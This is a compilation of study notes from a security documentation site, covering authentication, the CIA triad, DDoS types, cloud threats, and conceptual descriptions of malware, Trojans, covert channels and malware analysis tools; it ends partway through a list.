Strong passwords are essential for security, but they have their limitations. **Provide Authentication** Passwords determine the person is who they say they are. **Single Factor** Passwords are only one factor, even if they are complex and strong. **Can be Compromised** Complex passwords don’t eliminate being compromised. ### Multifactor Authentication - Multiple forms of authentication - Common Access Card (CAC) - Physical device with chip and picture - Both CAC and password required for access - End-user would notice the CAC missing - Token with numbers that change every minute - Biometric features such as fingerprint or facial recognition - Consumers use multifactor authentication for additional security - Multilayer authentication is when the same factor is presented multiple times - Two-factor authentication (2FA) is a subset of multifactor authentication ## DUO Security - Cloud-based and on-premises multifactor authentication - Application that runs on smart devices Provides real-time alerts if password was compromised - Posture assessment - Single sign-on - Time-based restrictions --- # Configuring Malware Protection and Outbreak Controls Source: docs/networking/cisco/core-security/endpoint-protection-and-detection-with-cisco-amp/4.-configuring-malware-protection-and-outbreak-controls.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/endpoint-protection-and-detection-with-cisco-amp/4.-configuring-malware-protection-and-outbreak-controls/ ## Cisco AMP Console Overview and Outbreak Controls ![image1](_images/configuring-malware-protection-and-outbreak-controls-1.png) ## Creating Policies in Cisco AMP ![image2](_images/configuring-malware-protection-and-outbreak-controls-2.png) ## Installing Cisco AMP Connectors on Endpoints and Verifying ![image3](_images/configuring-malware-protection-and-outbreak-controls-3.png) --- # Endpoint Protection and Detection with Cisco AMP Source: docs/networking/cisco/core-security/endpoint-protection-and-detection-with-cisco-amp/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/endpoint-protection-and-detection-with-cisco-amp/ --- # CIA Source: docs/networking/cisco/core-security/fundamentals-from-the-book/cia.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/fundamentals-from-the-book/cia/ All three components in the triad are equally important. ![security fundamentals cia](_images/security-fundamentals-cia-1.png) ## Confidentiality Confidentiality is the requirement that private or confidential information not be disclosed to unauthorised individuals. ISO 27001 definition: “the property that information is not made available or disclosed to unauthorized individuals, entities, or processes.” Most common method is encryption (i.e. VPNs, TLS, etc.) ![security fundamentals cia](_images/security-fundamentals-cia-2.png) Data must be controlled, audited, and monitored by encrypting immobile data. Data is protected by law, regulation, memorandum of agreements, contractual obligations, management discretions. Examples: - Nonpupblic Personal Information (NPPI) - Personally Identifiable Information (PII) (ID, drivers, bank acc., etc.) - Payment Card Information (PCI) (credit/debit card) - Criminal records - Patient and health records, Personal Health Information (PHI) - Trade secrets - Source code - Military secrets Security mechanisms to preserve confidentiality: - Logical and physical access controls - Encryption (in motion and at rest) - Database views - Controlled traffic routing Having good data classification methods enhances the way data is secured. ## Integrity Integrity is the ability to ensure systems and data have not been altered or compromised and that data is an accurate and unchanged representation of the original secured data. Integrity compromises often affect confidentiality. - Data integrity means that programs are changed in an authorised manner. - System integrity means that systems perform their intended functions. Threats to integrity: - Errors and omissions. A programmer can make a mistake (bugs) that break systems. - Malware can corrupt system files. - Access to places where one should be unauthorised. ## Availability Systems, applications, and data must be available to authorised users when requested or required. Threats to availability: - DoS attacks - System downtime - Human error Preserving availibility: - SLAs, continuity planning, and incident response - Access controls & environment controls - Monitoring - Data redundancy & Resilient systems - Virtualisation, clustering, etc. ## Denial-of-Service Attack A Denial of Service (DoS) attack involves 1 system and 1 network connection to perform denial-of-service against a system, network, or resource. A Distributed Denial of Service (DDoS) attack involves multiple systems and network connections that can be geographically distributed to perform denial-of-service against the victim. ### Direct DDoS Source of attack generates packets and sent directly to victim, AKA *SYN flood attack*. ![security fundamentals cia](_images/security-fundamentals-cia-3.png) ### Reflected DDoS Sources of attack are sent spoofed packets that appear to be from the victim and the sources unknowingly become participants in the attacks by sending responses back to victim. UDP is used as it is easily spoofed (no handshakes). Below image shows example (could be NTP), where A is the attacker, S is the source, and V is the victim. ![security fundamentals cia](_images/security-fundamentals-cia-4.png) ### Amplification DDoS A reflective DDoS, where packet size is increased. For example, DNS queries are sent and responses are much bigger in packet size. ### Exploitation DDoS Vulnerabilities, such as buffer overflows cause server or network infrastructure to crash. Botnets (collection of compromised machines) controlled from command-and-control (C2/CnC) can be used in DDoS, spam emails, etc. ![security fundamentals cia](_images/security-fundamentals-cia-4.png) ## Access Control Management - **Access Control** is a security feature that governs how people and processes interact with systems & resources to ensure that authorised people/processes can access information/resources, while unauthorised people/processes cannot. - **Access Control Models** are the active entity (subjects) that requests the access to the data (objects) and the passive entity being accessed by the object. Least privileges, the better (minimal level of access required to do job), Two Approaches to Security Posture: - **Open**: default allow - **Secure**: default deny Gaining Access: 1. Identification - the subject supplies an identifier (username) to the object. 2. Authentication - the subject supplies verifiable credentials to the object. 3. Authorisation - assigning authenticated subjects with the correct permissions need to operate. Authentication Credential (factors) Categories: - Knowledge (something the user knows) - Possession (something the user has) - Inherence (something the user is) Levels of authentication (requires data classification, regulations, impact analysis, threat analysis when deciding level to be used): - Single-factor is when 1 factor (such as password) is presented. - Multifactor Authentication is when multiple factors are presented. - Multilayer authentication is when more of the same type of factor is presented. - Out-of-band authentication requires communication over a channel that is distinct from the first factor. Types of Authorisation (how subjects access objects): - Mandatory Access Controls (MACs) - policies and cannot be modified by owner. - Discretionary Access Controls (DACs) - policies defined by owner. - Role-Based Access Control (RBACs / nondiscretionary) - policies based on role or function. --- # Cloud Security Threats Source: docs/networking/cisco/core-security/fundamentals-from-the-book/cloud.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/fundamentals-from-the-book/cloud/ NIST Special Publication 800-145 compares different cloud services and deployment strategies. NIST Special Publication 500-292, “NIST Cloud Computing Reference Architecture" - Everyone is going cloud, hybrid-cloud, or multi-cloud. - Move from CapEX to OpEx (capital to operation expenditure). - Security in cloud has same functionality to traditional security. - Cloud computing security is becoming more and more vital (protection from theft, data exfiltration, deletion, and privacy) Advantages of cloud: - Distributed storage - Scalability - Resource pooling - Access from any location - Measured service - Automated management NIST says characteristics of cloud computing include: - On-demand self-service - Broad network access - Resource pooling - Rapid elasticity - Measured service Cloud deployment models: - Public cloud: Open for public use. - Private cloud: Used just by the client organisation on the premises (on-prem) or at a dedicated area in a cloud provider. - Community cloud: Shared between several organisations. - Hybrid cloud: Composed of two or more clouds (including on-prem services). Cloud computing models: - Infrastructure as a Service (IaaS): IaaS describes a cloud solution where you are renting infrastructure. You purchase virtual power to execute your software as needed. This is much like running a virtual server on your own equipment, except you are now running a virtual server on a virtual disk. This model is similar to a utility company model because you pay for what you use. - Platform as a Service (PaaS): PaaS provides everything except applications. Services provided by this model include all phases of the system development life cycle (SDLC) and can use application programming interfaces (APIs), website portals, or gateway software. These solutions tend to be proprietary, which can cause problems if the customer moves away from the provider’s platform. - Software as a Service (SaaS): SaaS is designed to provide a complete packaged solution. The software is rented out to the user. The service is usually provided through some type of front end or web portal. While the end user is free to use the service from anywhere, the company pays a per-use fee. ## Cloud Computing Issues and Concerns Cloud is someone else's computer. Questions to ask the (/yourself about the) cloud provider: - Who has access? Access control is a key concern because insider attacks are a huge risk. Anyone who has been approved to access the cloud is a potential hacker, so you want to know who has access and how they were screened. Even if it was not done with malice, an employee can leave, and then you find out that you don’t have the password, or the cloud service gets canceled because maybe the bill didn’t get paid. - What are your regulatory requirements? Organizations operating in the United States, Canada, or the European Union have many regulatory requirements that they must abide by (for example, ISO/IEC 27002, EU-U.S. Privacy Shield Framework, ITIL, and COBIT). You must ensure that your cloud provider can meet these requirements and is willing to undergo certification, accreditation, and review. - Do you have the right to audit? This particular item is no small matter in that the cloud provider should agree in writing to the terms of the audit. With cloud computing, maintaining compliance could become more difficult to achieve and even harder to demonstrate to auditors and assessors. Of the many regulations touching upon information technology, few were written with cloud computing in mind. Auditors and assessors might not be familiar with cloud computing generally or with a given cloud service in particular. - What type of training does the provider offer its employees? This is a rather important item to consider because people will always be the weakest link in security. Knowing how your provider trains its employees is an important item to review. - What type of data classification system does the provider use? Questions you should be concerned with here include what data classification standard is being used and whether the provider even uses data classification. - How is your data separated from other users’ data? Is the data on a shared server or a dedicated system? A dedicated server means that your information is the only thing on the server. With a shared server, the amount of disk space, processing power, bandwidth, and so on is limited because others are sharing this device. If it is shared, the data could potentially become comingled in some way. - Is encryption being used? Encryption should be discussed. Is it being used while the data is at rest and in transit? You will also want to know what type of encryption is being used. For example, there are big technical difference between DES and AES. For both of these algorithms, however, the basic questions are the same: Who maintains control of the encryption keys? Is the data encrypted at rest in the cloud? Is the data encrypted in transit, or is it encrypted at rest and in transit? - What are the service level agreement (SLA) terms? The SLA serves as a contracted level of guaranteed service between the cloud provider and the customer that specifies what level of services will be provided. - What is the long-term viability of the provider? How long has the cloud provider been in business, and what is its track record? If it goes out of business, what happens to your data? Will your data be returned and, if so, in what format? - Will the provider assume liability in the case of a breach? If a security incident occurs, what support will you receive from the cloud provider? While many providers promote their services as being unhackable, cloud-based services are an attractive target to hackers. - What is the disaster recovery/business continuity plan (DR/BCP)? Although you might not know the physical location of your services, it is physically located somewhere. All physical locations face threats such as fire, storms, natural disasters, and loss of power. In case of any of these events, how will the cloud provider respond, and what guarantee of continued services is it promising? - What happens to my data should I wish to terminate the contract? ## Cloud Computing Attacks Attack vectors: - Session hijacking: This attack occurs when the attacker can sniff traffic and intercept traffic to take over a legitimate connection to a cloud service. - DNS attack: This form of attack tricks users into visiting a phishing site and giving up valid credentials. - Cross-site scripting (XSS): Used to steal cookies that can be exploited to gain access as an authenticated user to a cloud-based service. - SQL injection: This attack exploits vulnerable cloud-based applications that allow attackers to pass SQL commands to a database for execution. - Session riding: This term is often used to describe a cross-site request forgery attack. Attackers use this technique to transmit unauthorized commands by riding an active session by using an email or malicious link to trick users while they are currently logged in to a cloud service. - Distributed denial-of-service (DDoS) attack: Some security professionals have argued that the cloud is more vulnerable to DDoS attacks because it is shared by many users and organizations, which also makes any DDoS attack much more damaging. - Man-in-the-middle cryptographic attack: This attack is carried out when the attacker places himself in the communication path between two users. Anytime the attacker can do this, there is the possibility that he can intercept and modify communications. - Side-channel attack: An attacker could attempt to compromise the cloud by placing a malicious virtual machine in close proximity to a target cloud server and then launching a side-channel attack. - Authentication attack: Authentication is a weak point in hosted and virtual services and is frequently targeted. There are many ways to authenticate users, such as based on what a person knows, has, or is. The mechanisms used to secure the authentication process and the method of authentication used are frequent targets of attackers. - API attacks: Often APIs are configured insecurely. An attacker can take advantage of API misconfigurations to modify, delete, or append data in applications or systems in cloud environments. ## Cloud Computing Security Responsibility of cloud provider and consumer. Considerations: - DR - SLAs - Data integrity & encryption --- # Defining Threats, Vulnerabilities, & Exploits Source: docs/networking/cisco/core-security/fundamentals-from-the-book/definitions.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/fundamentals-from-the-book/definitions/ ## Threat A threat is any potential danger to an asset. A threat vector/agent is the path used by the entity (person, device, etc.) to perform the attack. ## Vulnerability A vulnerability is a weakness in the system design, implementation, software, or code, or lack of a mechanism: - **Applications:** Applications might be configured for usability rather than for security. Applications might be in need of a patch or update. Attackers targeting applications have a target-rich environment to examine. - **Operating Systems:** Attackers can search for vulnerabilities in OSs that have not been patched or updated. - **Hardware:** Mitigation of a hardware vulnerability might require patches to microcode (firmware) as well as the OS or other system software. Spectre and Meltdown are examples of hardware vulnerabilities. They take advantage of a feature called "speculative execution" common to most modern processor architectures. - **Misconfiguration:** The configuration file and configuration setup for the device or software may be misconfigured or may be deployed in an unsecure state. This might be open ports, vulnerable services, or misconfigured network devices. - **Shrinkwrap Software:** This is the application or executable file that is run on a workstation or server. When installed on a device, it can have tons of functionality or sample scripts or code available. The Common Vulnerabilities and Exposures (CVE ) is a collection or vendors, security researchers, and vulnerability coordination centres to identify threats that are disclosed to public. CVE is an industry-wide standard. Sponsored by US-CERT, the office of Cybersecurity and Communications at the U.S. Department of Homeland Security, CVE operates as DHS's Federally Funded Research and Development Centre (FFRDC), MITRE has copyrighted the CVE list to benefit the community to keep it free and open. They oversee the CVE Naming Authortiies (CNAs) and provide impartial technical guidance to the CVE Editorial Board. The CVE's goal is to make it easier to share data across tools, vulnerability repos, and security services. ## Exploit - An exploit refers to a piece of software, a tool, a technique, or a process that takes advantage of a vulnerability that leads to access, privilege escalation, loss of integrity, or denial of service on a computer system. - A *zero-day exploit* is when no one knows that the vulnerability exists, and it is exploited. - People trade exploits for malicious intent in the *dark web* (or darknet), which is an overlay of networks and systems that use the Internet, but require specific software and configurations to access it. - The darknet is a small part of the *deep web*, which is a collection of information and systems on the Internet that is not indexed by web search engines. - Security researches share POC exploits in public spaces, such as The Exploit Database (or Exploit-DB) and GitHub. Offensive Security maintain . - SearchSploit is a CLI tool to search for known exploits. ## Risk, Assets, Threats, & Vulnerabilities Risk is the probability or likelihood of the occurrence or realisation of a threat. There are three basic elements of risk: assets, threats, and vulnerabilities. An asset is any item of economic value owned by an individual or corporation. A threat sets the stage for risk and is any agent, condition, or circumstance that could potentially cause harm, loss, or damage, or compromise an IT asset or data asset. Threats can be categorised as events that can affect the confidentiality, integrity, or availability of the organisation's assets. Examples of threats: - **Natural Disasters, weather, and catastrophic damage:** Hurricanes, storms, weather outages, fire, flood, earthquakes, and other natural events compose an ongoing threat. - **Hacker attacks:** An insider or outside who is unauthorised and purposely attacks an organisation's infrastructure, components, systems, or data. - **Cyberattack:** Attacks that target critical national infrastructures such as water plants, electric plants, gas plants, oil refineries, gasoline refineries, nuclear power plants, waste management plants, and soon. Stuxnet is an example of one such tool designed for just such a purpose. - **Viruses and malware:** An entire category of software tools that are malicious and are designed to damage or destroy a system or data. - **Disclosure of confidential information:** Anytime a disclosure of confidential information occurs, it can be a critical threat to an organisation if such disclosure causes loss of revenue, causes potential liabilities, or provides a competitive advantage to an adversary, For instance, if your organisation experiences a breath and detailed customer information is exposed (for example, personally identifiable information \[PII\]),such a breach could have potential liabilities and loss of trust from your customers. Another example is when a threat actor steals source code or design documents and sells them to your competitors. - **Denial of service (DoS) or distributed DoS (DDoS) attacks:** An attack against availability that is designed to bring the network, or access to a particular TCP/IP host/server, to its knees by flooding it with useless traffic. Today, most DoS attacks are launched via botnets, whereas in the past tools such as the Ping of Death or Teardrop may have been used. Like malware, hackers constantly develop new tools so that Storm and Mariposa, for example, are replaced with other, more current threats. ## Defining Threat Actors Threat actors are the individuals (or group of individuals) who perform an attack or are responsible for a security incident that impacts or has the potential of impacting an organisation or individual. - Script kiddies: People who use existing “scripts” or tools to hack into computers and networks. They lack the expertise to write their own scripts. - Organized crime groups: Their main purpose is to steal information, scam people, and make money. - State sponsors and governments: These agents are interested in stealing data, including intellectual property and research-and-development data from major manufacturers, government agencies, and defense contractors. - Hacktivists: People who carry out cybersecurity attacks aimed at promoting a social or political cause. - Terrorist groups: These groups are motivated by political or religious beliefs. A hacker is a person who enjoys the understanding the internal workings of a system, computer, and computer network and seeks to understand everything about the system. A cracker is a criminal hacker who seek to compromise the security of a system without the permission from an authorised party. - White hat hackers: These individuals perform ethical hacking to help secure companies and organisations. Their belief is that you must examine your network in the same manner as a criminal hacker to better understand its vulnerabilities. - Black hat hackers: These individuals perform illegal activities, such as organised crime. - Gray hat hackers: These individuals usually follow the law but sometimes venture over to the darker side of black hat hacking. It would be unethical to employ these individuals to perform security duties for your organisation because you are never quite clear where they stand. ## Threat Intelligence Threat intelligence is referred to as the knowledge about an existing or emerging threat to assets, including networks and systems. Threat intelligence includes context, mechanisms, indicators of compromise (IoCs), implications, and actionable advice. Its primary purpose is to inform business decisions regarding the risks and implications associated with threats. The Threat Intelligence Process: ![security fundamentals threat intelligence](_images/security-fundamentals-threat-intelligence-1.png) Standards of threat intelligence information: - Structured Threat Information eXpression (STIX): An express language designed for sharing of cyber-attack information. STIX details can contain data such as the IP addresses or domain names of command-and-control servers (often referred to C2 or CnC), malware hashes, and so on. STIX was originally developed by MITRE and is now maintained by OASIS. You can obtain more information at . - Trusted Automated eXchange of Indicator Information (TAXII): An open transport mechanism that standardises the automated exchange of cyber-threat information. TAXII was originally developed by MITRE and is now maintained by OASIS. You can obtain more information at . - Cyber Observable eXpression (CybOX): A free standardised schema for specification, capture, characterisation, and communication of events of stateful properties that are observable in the operational domain. CybOX was originally developed by MITRE and is now maintained by OASIS. You can obtain more information at . - Open Indicators of Compromise (OpenIOC): An open framework for sharing threat intelligence in a machine-digestible format. Learn more at . - Open Command and Control (OpenC2): A language for the command and control of cyber-defence technologies. OpenC2 Forum was a community of cybersecurity stakeholders that was facilitated by the U.S. National Security Agency. OpenC2 is now an OASIS technical committee (TC) and specification. You can obtain more information at . ## Viruses and Worms A virus needs a host program or file to infect and require some type of human interaction. A worm can travel from system to system without human interaction. When a worm executes, it can replicate again and infect even more systems. For example, a worm can email itself to everyone in your address book and then repeat this process again and again from each user’s computer it infects. That massive amount of traffic can lead to a denial of service very quickly. Spyware is considered another type of malicious software. In many ways, spyware is similar to a Trojan because most users don’t know that the program has been installed, and the program hides itself in an obscure location. Spyware steals information from the user and also eats up bandwidth. If that’s not enough, spyware can also redirect your web traffic and flood you with annoying pop-ups. ### Types and Transmission Methods [^1] Viruses depend on people to spread them, such as booting a computer, executing programs, or opening email attachments. Malware propagates through the computer world in the following ways: - Master boot record infection: This is the original method of attack. It works by attacking the master boot record of the hard drive. - BIOS infection: This could completely make the system inoperable or the device could hang before passing Power On Self-Test (POST). - File infection: This includes malware that relies on the user to execute the file. Extensions such as .com and .exe are usually used. Some form of social engineering is normally used to get the user to execute the program. Techniques include renaming the program or trying to mask the .exe extension and make it appear as a graphic (.jpg, .bmp, .png, .svg, and the like). - Macro infection: Macro viruses exploit scripting services installed on your computer. Manipulating and using macros in Microsoft Excel, Microsoft Word, and Microsoft PowerPoint documents have been very popular in the past. - Cluster: This type of virus can modify directory table entries so that it points a user or system process to the malware and not the actual program. - Multipartite: This style of virus can use more than one propagation method and targets both the boot sector and program files. One example is the NATAS (Satan spelled backward) virus. Fast infection is when malware spreads quickly, infecting any file that they are capable of infecting. Sparse infection is when malware spread rate is reduced, usually loaded into RAM. Examples: - Flame (year 2012) has the ability to spread to other systems over the local network, record audio, screenshots, keystrokes, and turn computers into bluetooth beacons and download data from other bluetooth-enabled computers. - Polymorphic viruses can change their signature every time it infects a file, making it harder for antiviruses to detect. - A virus hoax is nothing more than a chain letter, meme, or email that encourages you to forward it to your friends to warn them of impending doom or some other notable event. To convince readers to forward the hoax, the email will contain some official-sounding information that could be mistaken as valid. ### Malware Payloads Malware must place their payload somewhere. Prepender malware infects programs by placing the viral code at the beginning of the infected file, whereas appender malware places its code at the end of the infected file. Both methods leave the file intact, with the malicious code added to the beginning or end of the file. All viruses have a search routine and an infection routine: - Search routine: The search routine is responsible for locating new files, disk space, or RAM to infect. The search routine could include “profiling.” Profiling could be used to identify the environment and morph the malware to be more effective and potentially bypass detection. - Infection routine: The search routine is useless if the virus doesn’t have a way to take advantage of these findings. Therefore, the second component of a virus is an infection routine. This portion of the virus is responsible for copying the virus and attaching it to a suitable host. Malware could also use a re-infect/restart routine to further compromise the affected system. - Payload: Most viruses don’t stop here and also contain a payload. The purpose of the payload routine might be to erase the hard drive, display a message to the monitor, or possibly send the virus to 50 people in your address book. Payloads are not required, and without one, many people might never know that the virus even existed. - Antidetection routine: Many viruses might also have an antidetection routine. Its goal is to help make the virus more stealth-like and avoid detection. - Trigger routine: The goal of the trigger routine is to launch the payload at a given date and time. The trigger can be set to perform a given action at a given time. ## Trojans Trojans are programs that pretend to do one thing but, when loaded, actually perform another, more malicious act. Trojans gain their name from Homer's epic tale *The Iliad* . They present themselves as something you want, such as an email with a PDF, Word document, etc. Unlike a virus or worm, Trojans cannot spread themselves. They rely on the uninformed user. ### Trojan Types Trojans are hard to place as they generally have more than one function, but here's a list of examples: - Remote access: Remote-access Trojans (RATs) allow the attacker full control over the system. Poison Ivy is an example of this type of Trojan. Remote-access Trojans are usually set up as client/server programs so that the attacker can connect to the infected system and control it remotely. - Data hiding: The idea behind this type of Trojan is to hide a user’s data. This type of malware is also sometimes known as ransomware. This type of Trojan restricts access to the computer system that it infects, and it demands a ransom paid to the creator of the malware for the restriction to be removed. - E-banking: These Trojans (Zeus is one such example) intercept and use a victim’s banking information for financial gain. Usually, they function as a transaction authorisation number (TAN) grabber, use HTML injection, or act as a form grabber. The sole purpose of these types of programs is financial gain. - Denial of service (DoS): These Trojans are designed to cause a DoS. They can be designed to knock out a specific service or to bring an entire system offline. - Proxy: These Trojans are designed to work as proxy programs that help a hacker hide and allow him to perform activities from the victim’s computer, not his own. After all, the farther away the hacker is from the crime, the harder it becomes to trace him. - FTP: These Trojans are specifically designed to work on port 21. They allow the hacker or others to upload, download, or move files at will on the victim’s machine. - Security-software disablers: These Trojans are designed to attack and kill antivirus or software firewalls. The goal of disabling these programs is to make it easier for the hacker to control the system. - Poison apple/USB key drop: The attacker leaves a thumb drive in the desk drawer or cafeteria of the victim (company). Human nature will ensure the victim will insert the flash disk into their computer. ### Trojan Ports and Communication Methods A *backdoor* is any type of program that will allow a hacker to connect to the computer without going through the normal authentication process. Some trojans use overt communications & do not hide the transmission of data as it is moved on to or off of the victim's computer. Most use covert communication, where the hacker goes through lengths to ensure that the transmission of data is hidden from the victim. Many trojans create backdoors. Some of the programs initiate a connection to the hacker, which is dangerous, because the traffic is moving from the inside-out, which most organisations do not usually protect themselves from, as they are more worried about what's coming from the outside-in. ### Trojan Goals Trojans are dangerous because they represent a loss of confidentiality, integrity, and availability. Targets of trojans include: - Credit card data: Credit card data and banking information have become huge targets. After the hacker has this information, he can go on an online shopping spree or use the card to purchase services, such as domain name registration. - Electronic or digital wallets: Individuals can use an electronic device or online service that allows them to make electronic transactions. This includes buying goods online or using a smartphone to purchase something at a store. A digital wallet can also be a cryptocurrency wallet (such as Bitcoin, Ethereum, Litecoin, Ripple, and so on). - Passwords: Passwords are always a big target. Many of us are guilty of password reuse. Even if we are not, there is always the danger that a hacker can extract email passwords or other online account passwords. - Insider information: We have all had those moments in which we have said, “If only I had known this beforehand.” That’s what insider information is about. It can give the hacker critical information before it is made public or released. - Data storage: The goal of the Trojan might be nothing more than to use your system for storage space. That data could be movies, music, illegal software (warez), or even pornography. - Advanced persistent threat (APT): It could be that the hacker has targeted you as part of a nation-state attack or your company has been targeted because of its sensitive data. Two examples include Stuxnet and the APT attack against RSA in 2011. These attackers might spend significant time and expense to gain access to critical and sensitive resources. ### Trojan Infection Mechanisms There are many ways to spread malware: - Peer-to-peer networks (P2P): Although users might think that they are getting the latest copy of a computer game or the Microsoft Office package, in reality, they might be getting much more. P2P networks and file-sharing sites such as The Pirate Bay are generally unmonitored and allow anyone to spread any programs they want, legitimate or not. - Instant messaging (IM): IM was not built with security controls. So, you never know the real contents of a file or program that someone has sent you. IM users are at great risk of becoming targets for Trojans and other types of malware. - Internet Relay Chat (IRC): IRC is full of individuals ready to attack the newbies who are enticed into downloading a free program or application. - Email attachments: Attachments are another common way to spread a Trojan. To get you to open them, these hackers might disguise the message to appear to be from a legitimate organization. The message might also offer you a valuable prize, a desired piece of software, or similar enticement to pique your interest. If you feel that you must investigate these attachments, save them first and then run an antivirus on them. Email attachments are the number-one means of malware propagation. You might investigate them as part of your information security job to protect network users.[^2] - Physical access: If a hacker has physical access to a victim’s system, he can just copy the Trojan horse to the hard drive (via a thumb drive). The hacker can even take the attack to the next level by creating a Trojan that is unique to the system or network. It might be a fake login screen that looks like the real one or even a fake database. - Browser and browser extension vulnerabilities: Many users don’t update their browsers as soon as updates are released. Web browsers often treat the content they receive as trusted. The truth is that nothing in a web page can be trusted to follow any guidelines. A website can send to your browser data that exploits a bug in a browser, violates computer security, and might load a Trojan. - SMS messages: SMS messages have been used by attackers to propagate malware to mobile devices and to perform other scams. - Impersonated mobile apps: Attackers can impersonate apps in mobile stores (for example, Google Play or Apple Store) to infect users. Attackers can perform visual impersonation to intentionally misrepresents apps in the eyes of the user. Attackers can do this to repackage the application and republish the app to the marketplace under a different author. This tactic has been used by attackers to take a paid app and republish it to the marketplace for less than its original price. However, in the context of mobile malware, the attacker uses similar tactics to distribute a malicious app to a wide user audience while minimizing the invested effort. If the attacker repackages a popular app and appends malware to it, the attacker can leverage the user’s trust of their favorite apps and successfully compromise the mobile device. - Watering hole: The idea is to infect a website the attacker knows the victim will visit. Then the attacker simply waits for the victim to visit the watering hole site so the system can become infected. - Freeware: Nothing in life is free, and that includes most software. Users are taking a big risk when they download freeware from an unknown source. Not only might the freeware contain a Trojan, but freeware also has become a favorite target for adware and spyware. ### Effects of Trojans Trojans can have a small to extreme effect on the target system. If the victim becomes aware of the Trojan's presense, the victim will take countermeasures that threaten the attacker's ability to keep control of the computer. The hacker could have the ability to reboot, install keyloggers, etc. ## Distributing Malware Modern malware detection becomes more difficult as time goes on. It constantly improves via the below methods: - Wrappers are programs used to combine two or more executables into a single packaged program. Wrappers are also referred to as binders, packagers, and EXE binders because they are the functional equivalent of binders for Windows Portable Executable files. - Packers are similar to programs such as WinZip, Rar, and Tar because they compress files. However, whereas compression programs compress files to save space, packers do this to obfuscate the activity of the malware. The idea is to prevent anyone from viewing the malware’s code until it is placed in memory. - Droppers are software designed to install malware payloads on the victim’s system. Droppers try to avoid detection and evade security controls by using several methods to spread and install the malware payload. - Crypters function to encrypt or obscure the code. Some crypters obscure the contents of the Trojan by applying an encryption algorithm. Crypters can use anything from AES, RSA, to even Blowfish, or might use more basic obfuscation techniques such as XOR, Base64 encoding, or even ROT13. Again, these techniques are used to conceal the contents of the executable program, making it undetectable by antivirus and resistant to reverse-engineering efforts. ## Ransomware Ransomware can propagate like a worm or a virus but is designed to encrypt personal files on the victim’s hard drive until a ransom is paid to the attacker. Ransomware can encrypt specific files, or all files on your system. It can even encrypt the MBR. Well-known examples: - WannaCry - Pyeta - Nyeta - Sodinokibi - Bad Rabbit - Grandcrab - SamSam - CryptoLocker - CryptoDefense - CryptoWall - Spora ## Covert Communication The Trusted Computer Security Evaluation Criteria (TCSEC) was one of the first documents to fully examine the concept of covert communications and attacks. TCSEC divides covert channel attacks into 2 categories: 1. Covert timing channel attacks: Timing attacks are difficult to detect because they are based on system times and function by altering a component or by modifying resource timing. 2. Covert storage channel attacks: Use one process to write data to a storage area and another process to read the data. A covert channel is a way of moving information through a communication channel or protocol in a manner in which it was not intended for. TCP/IP offers many opportunities for misuse. Two commonly tunnelled protocols are IPv6 and ICMP. Common tools to tunnel over IPv6 include 6tunnel, socat, nt6tunnel, and relay6. Windows misuse relies on several factors: - Incomplete or inconsistent support for IPv6 - The IPv6 autoconfiguration capability - Malware designed to enable IPv6 support on susceptible hosts - Malicious application of traffic “tunneling,” a method of Internet data transmission in which the public Internet is used to relay private network data TCP offers several fields that can be manipulated by an attacker. The TCP process (again...): 1. A three-step handshake: This ensures that both systems are ready to communicate. 2. Exchange of control information: During the setup, information is exchanged that specifies maximum segment size. 3. Sequence numbers: This indicates the amount and position of data being sent. 4. Acknowledgments: This indicates the next byte of data that is expected. 5. Four-step shutdown: This is a formal process of ending the session that allows for an orderly shutdown. A hacker may attempt to use TCP ACK packets as a covert communication channel. Ack-Cmd is an example tool for this. UDP tunnel tools include: - UDP Tunnel: Also designed to tunnel TCP traffic over a UDP connection. You can find UDP Tunnel at . - dnscat: Another option for tunneling data over an open DNS connection. You can download the current version, dnscat2, at . UDP 53 is most likely open. This is it's open for hackers. Many times attackers move data using DNS without being detected for days, weeks, or months. They schedule the DNS exfiltration packets in a way that makes it harder for a security analyst or automated tools to detect. Netcat is one tool that can be used to set up a tunnel to exfiltrate data over HTTP. If HTTPS is the transport, it is difficult for the network administrator to inspect the outbound data. Cryptcat () can be used to send data over HTTPS. ## Keyloggers Keyloggers are software or hardware devices used to record everything a person types. They enable a hacker to covertly monitor everything a user does. The hacker might send a victim a keystroke-logging-program wrapped in a Trojan. Hardware keyloggers are undetectable except for their physical presence. ## Spyware Similar to a Trojan, spyware is installed without consent or knowledge, hidden from view, monitors computer & Internet usage, and is configured to run in the background each time the computer boots. It has 2 purposes: 1. Surveillance: Used to determine your buying habits, discover your likes and dislikes, and report this demographic information to paying marketers. 2. Advertising: You’re targeted for advertising that the spyware vendor has been paid to deliver. For example, the maker of a rhinestone cell phone case might have paid the spyware vendor for 100,000 pop-up ads. If you have been infected, expect to receive more than your share of these unwanted pop-up ads. A dropper is another word for a wrapper, which is a standalone program that drops different types of standalone malware to the system. Code is usually hidden in the Registry run keys, Windows startup folder, Windows load= or run= lines found in the Win.ini file, Shell= line found in the Windows System.ini file. Spyware can also change the Hosts file. ## Analysing Malware Two methods to analyse Viruses and other malware: 1. Static Analysis 2. Dynamic Analysis ## Static Analysis Decompilation, reverse engineering, and analysis of malicious software. Static analysis uses disassemblers and decompilers to format the data into human-readable format: - IDA Pro: An interactive disassembler that you can use for decompiling code. It’s particularly useful in situations in which the source code is not available, such as with malware. IDA Pro allows the user to see the source code and review the instructions that are being executed by the processor. IDA Pro uses advanced techniques to make that code more readable. You can download and obtain additional information about IDA Pro at . - Evan’s Debugger (edb): A Linux cross-platform AArch32/x86/x86-64 debugger. You can download and obtain additional information about Evan’s Debugger at . - BinText: Another tool that is useful to the malware analyst. BinText is a text extractor that will be of particular interest to programmers. It can extract text from any kind of file and includes the ability to find plain ASCII text, Unicode (double-byte ANSI) text, and resource strings, providing useful information for each item in the optional “advanced” view mode. You can download and obtain additional information about BinText from the following URL: . - UPX: A packer, compression, and decompression tool. You can download and obtain additional information about UPX at . - OllyDbg: A debugger that allows for the analysis of binary code where source is unavailable. You can download and obtain additional information about OllyDbg at . - Ghidra: A software reverse engineering tool developed by the U.S. National Security Agency (NSA) Research Directorate. You can download and obtain additional information about Ghidra at . ## Dynamic Analysis Monitoring and analysis of a computer activity and network traffic, which requires the ability to configure the network device for monitoring, looking for suspicious activity and try not to alert the attacker. Ways in which the malware can be confined: 1. Install of a VM 2. Install a guest operating system on the VM. 3. Isolate the system from the guest VM. 4. Verify that all sharing and transfer of data is blocked between the host operating system and the virtual system. 5. 